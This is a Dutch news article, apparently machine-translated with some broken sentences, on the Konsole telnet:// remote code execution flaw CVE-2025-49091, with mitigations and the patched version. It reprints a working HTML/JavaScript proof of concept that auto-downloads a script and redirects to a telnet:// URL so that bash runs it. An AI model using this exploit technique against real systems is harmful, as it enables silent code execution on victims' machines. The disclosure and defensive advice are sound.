Een paar dagen geleden werd er informatie vrijgegeven over een kritieke kwetsbaarheid, die werd geïdentificeerd onder "CVE-2025-49091«. Deze kwetsbaarheid ontdekt in Konsole (de KDE-terminalemulator) maakt het mogelijk om code op afstand uit te voeren door eenvoudigweg een schadelijke webpagina te bezoeken via een browser.
Er wordt vermeld dat dit probleem treft systemen waar KTelnetService en een kwetsbare versie van Konsole zijn geïnstalleerd, maar minstens één van de telnet-, rlogin- of ssh-programma's is niet geïnstalleerd. De kwetsbaarheid bevindt zich in de console van de KDE Terminal Emulator. Zoals vermeld in het KDE-advies, zijn Konsole-versies ouder dan 25.04.2 kwetsbaar.
Konsole ondersteunt het laden van URL's van schemacontrollers zoals
telnet://URL. Dit kan worden uitgevoerd ongeacht of de telnet
Het binaire bestand is beschikbaar.In deze modus had Konsole een route waar, als Telnet niet beschikbaar was,
zou bash opnieuw gebruiken voor de meegegeven argumenten; welke
is de opgegeven URL. Hiermee kan een aanvaller willekeurige code uitvoeren.
code.Browsers geven normaal gesproken een bericht weer wanneer een gebruiker een externe browser opent.
Schemacontroller die er verdacht uit kan zien en gebruikersinteractie vereist
uitbuitbaar zijn.
De bron van het probleem: KTelnetService en gevaarlijke URL-schema's
Onderzoekers merken op dat het probleem achter deze kwetsbaarheid ligt in het gedrag van de KTelnetService-service, die standaard is opgenomen in KDE. Deze service is verantwoordelijk voor het verwerken van de URL-schema's telnet://, rlogin:// en ssh:// en is ontworpen om deze links rechtstreeks in Konsole te openen met behulp van de bijbehorende hulpprogramma's (telnet, rlogin of ssh).
Het lek treedt echter op wanneer deze hulpprogramma's niet op het systeem zijn geïnstalleerd. In dat geval gebruikt Konsole, wanneer het de opdracht in de link probeert uit te voeren, /bin/bash als vervanging. Hierdoor kan een aanvaller een aangepaste link maken.
Hoewel dit op het eerste gezicht onbelangrijk lijkt, wordt het probleem verergerd doordat de aanvaller elk bestand in de downloadmap van de gebruiker kan uitvoeren met behulp van de aangepaste opdracht. Met andere woorden: elk bestand wordt automatisch uitgevoerd als de gebruiker op een link met dat commando klikt.
Waarom is dit zo gevaarlijk?
Moderne browsers zoals Firefox en Chrome (standaardinstellingen) slaan gedownloade bestanden automatisch op in de map ~/Downloads, zonder dat de gebruiker hiervoor toestemming hoeft te geven. Ze geven pas een melding weer nadat de download is voltooid.
Dit gedrag, gecombineerd met het feit dat het op Linux-systemen mogelijk is om toegang te krijgen tot het huidige directorypad van de browser, zorgt ervoor dat een automatisch gedownload schadelijk bestand vervolgens kan worden uitgevoerd vanaf Konsole, zonder dat de gebruiker dit weet.
Proof of Concept (PoC): hoe de kwetsbaarheid wordt uitgebuit
Om het gevaar van de fout aan te tonen, hebben de onderzoekers het volgende JavaScript-codefragment gemaakt, dat laat zien hoe een aanvaller deze kwetsbaarheid vanaf een webpagina kan misbruiken:
<html> <head> <script type="text/javascript"> function downloadAndRedirect() { const anchor = document.createElement('a'); anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="; anchor.download = 'evil'; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = "telnet:///proc/self/cwd/Downloads/evil"; }, 1000); } </script> </head> <body onload="downloadAndRedirect()"> </body> </html>
Als de gebruiker in Firefox en Chrome de telnet://-link accepteert, wordt het volgende aangeroepen:
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil
En als telnet niet aanwezig is, wordt het schadelijke script uitgevoerd met bash.
Tijdelijke mitigerende maatregelen
Terwijl u wacht op de patch of als u niet onmiddellijk kunt updaten, zijn er twee eenvoudige manieren om het probleem te verhelpen:
Installeer de hulpprogramma's telnet, rlogin en ssh
Als deze hulpprogramma's aanwezig zijn, zal Konsole ze correct aanroepen en niet terugvallen op bash. Dit voorkomt dat willekeurige content als script wordt uitgevoerd.
sudo apt install telnet rlogin openssh-client
Verwijder het KTelnetService-servicebestand
U kunt het bestand verwijderen dat verantwoordelijk is voor de registratie van deze schema's:
sudo rm /usr/share/applications/ktelnetservice6.desktop
Hiermee voorkomt u dat telnet://-, rlogin://- of ssh://-koppelingen automatisch door Konsole worden verwerkt.
Oplossing: dringende update naar Konsole 25.04.2
De kwetsbaarheid is verholpen in Konsole versie 25.04.2, opgenomen in de KDE Gear 25.04.2-update. Alle gebruikers en systeembeheerders wordt dringend aangeraden om onmiddellijk te updaten.
Tot slot, als u er meer over wilt weten, kunt u de details raadplegen in de volgende link.